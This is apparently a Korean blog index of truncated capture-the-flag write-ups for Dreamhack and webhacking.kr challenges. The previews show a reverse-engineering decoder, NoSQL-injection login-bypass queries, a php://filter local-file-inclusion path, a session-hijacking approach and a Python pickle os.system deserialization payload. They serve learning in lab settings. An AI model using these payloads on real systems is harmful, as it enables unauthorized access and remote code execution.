감사합니다 116

드림핵 rev-basic-3

__int64 __fastcall sub_140001000(__int64 a1) { int i; // [rsp+0h] [rbp-18h] ​ for ( i = 0; (unsigned __int64)i < 0x18; ++i ) { if ( byte_140003000[i] != (i ^ *(unsigned __int8 *)(a1 + i)) + 2 * i ) return 0i64; } return 1i64; } 기본적인 분석방법에 의거해 위와 같은 함수가 나왔다 당연히 byte 부분이 핵심이 되는 부분이라는 것을 알 수 있었고 더블 클릭해서 ​ .data:0000000140003000 byte_140003000 db 49h, 60h, 67h, 74h, 63h, 67h, 42h, 66h, 80h, 78h, 2 d..

호그와트 2022.01.25

드림핵 rev-basic-4

파이썬은 정말 신기한 언어다 보고 또 볼수록 정말 놀라운 점이 많다 ​ 우선 비트연산을 이렇게 깔끔하게 할 수 있다 import string raw =(0x24,0x27,0x13,0xc6,0xc6,0x13,0x16,0xe6,0x47,0xf5,0x26,0x96,0x47,0xf5,0x46,0x27,0x13,0x26,0x26,0xc6,0x56,0xf5,0xc3,0xc3,0xf5,0xe3,0xe3) for ch in raw: for i in string.printable: if ((16*ord(i))&0xf0 | ord(i)>>4 ) == ch: print(i, end='') break ​ 블로그에 올려놓으니까 가독성이 많이 떨어지긴 한다 rev-basic-4를 보면 기본적으로 검증 함수가 ((16*ord(i)..

호그와트 2022.01.25

드림핵 mango를 먹자

아래와 같이 요청을 보내면 guest 가 출력이 된다. /login?uid[$gt]=adm&upw[$ne]= // result: guest ​ guest 빼고 다른 결과를 보기 위해 $ne를 이용하여 결과 값에서 guest를 제외시킨다. 이번에는 dreamhack 이 출력된다. /login?uid[$gt]=adm&uid[$ne]=guest&upw[$ne]= // result: dreamhack ​ ​ 이번에는 $lt 를 이용하여 d 라는 문자 보다 작은 값을 출력하게끔 만든다. 그럼 dreamhack < d 는 false 이므로 dreamhack 이 출력 되지 않는다. 결과를 보면 성공적으로 admin 이 출력된다. /login?uid[$gt]=adm&uid[$ne]=guest&uid[$lt]=d&upw..

호그와트 2022.01.22

드림핵 session-basic

드림핵 session 때문에 이러저러 질문들이 계속 나와서 운영진 분들이 새로 만든 문제이다. 세션을 이해하기 좋은 문제이다. 이 문제는 session문제랑은 다르게 admin에게 할당되는 랜덤값이 매우 높게 설계되어 있다. 그런데 주어진 코드를 자세히보면 그 주어진 랜덤값을 아예 눈으로 보여주는 페이지가 따로 존재한다. 그 페이지로 들어가면 admin의 세션값이 나오고 그걸 통해서 세션을 변화해주기만 해도 플래그를 얻을 수 있다 ​ 드림핵 session 문제풀이는 이 블로그에 적어두었다. 잘 안 풀리시는 분들은 내 블로그 글에 댓글까지 읽어보시면 금방 플래그를 얻을 수 있다

호그와트 2022.01.22

웹해킹 25번 문제

http://webhacking.kr:10001/?file==../../flag 다른 거에는 아무 반응도 없더니 위에 입력값에는 FLAG is in the code 이런 반응을 보였다 ​ php://filter/convert.base64-encode/resource=flag ?? 내가 php-1에서 봤던 php 명령어가 그대로 사용된다 이게 file vulnerability이라고 생각했는데 이 명령어가 그대로 사용될 줄은 상상도 못했다 ​ ​ 역시 이 다음 부분은 php-1과 완전히 같았다 사실 그렇게 치면 php-1이 이 문제를 오마주한 것일 지도 모르겠다 다만 리눅스 화면이 맨 처음에 등장하는 상태에서 php 명령어가 그대로 적용될 줄은 정말 몰랐다

호그와트 2022.01.22

드림핵 web-deserialize python

import pickle import os import base64 class TestClass: def __reduce__(self): return os.system, ("read flag.txt", ) ClassA = TestClass() # ClassA 직렬화 ClassA_dump = base64.b64encode(pickle.dumps(ClassA)) print(ClassA_dump) # 역직렬화 print(pickle.loads(base64.b64decode(ClassA_dump))) ​ 확실하지는 않지만 "read flag.txt" 쪽 내용을 잘 바꿔주면 원하는 flag를 얻을 수 있는 것으로 추정된다 근거는 다음의 2가지이다 1 web상에서도 된다 (rce가 필요 없다) 2 이 내용 자체가 ..

호그와트 2022.01.18